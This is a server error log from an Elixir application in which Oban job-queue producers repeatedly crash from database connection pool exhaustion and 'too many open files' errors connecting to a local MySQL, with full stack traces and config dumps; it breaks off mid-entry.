** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:59:02.247620Z], limit: 20, uuid: "040e4d2f-9d80-4500-aa0d-abe83224cfdf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:02.247625Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41129>, refresh_timer: #Reference<0.2525715032.1077673987.15004>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:59:02.243320Z], limit: 10, uuid: "224d88e3-2a5c-43c6-a09e-5b89815f5ce1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:02.243325Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41116>, refresh_timer: #Reference<0.2525715032.1068498948.41104>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:14.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:59:02.243142Z], limit: 5, uuid: "54485c92-d0dd-441e-820e-103d1050a460", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:02.243147Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41117>, refresh_timer: #Reference<0.2525715032.1068498948.41094>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:14.244000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:59:02.242354Z], limit: 50, uuid: "73e15731-9c74-403c-9934-ae16e6fc963c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:02.242360Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41119>, refresh_timer: #Reference<0.2525715032.1068498948.41073>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:14.244000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:59:02.242974Z], limit: 3, uuid: "8055b4fe-b9ac-4f6f-bf1d-3463446ae43f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:02.242980Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41120>, refresh_timer: #Reference<0.2525715032.1068498948.41085>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:14.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:59:02.240382Z], limit: 5, uuid: "921051f1-7d90-4d18-b331-f272f4abfa19", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:02.240404Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41118>, refresh_timer: #Reference<0.2525715032.1068498948.41067>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:15.855000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:19.649000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:19.654000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:20.908000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:25.186000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:25.797000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:59:14.246628Z], limit: 10, uuid: "72513f91-0b78-4d7c-a97c-c4d84663820f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:14.246634Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.38462>, refresh_timer: #Reference<0.2525715032.1068498948.41246>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:59:14.248604Z], limit: 50, uuid: "92dcba03-25ce-425b-8246-7189f160c9ef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:14.248611Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15117>, refresh_timer: #Reference<0.2525715032.1121189889.150640>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:59:14.250569Z], limit: 5, uuid: "c4c8fb72-cf62-40d7-9b80-aeb770467049", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:14.250575Z]}, name: {:via, Registry, {Oban.Registry, 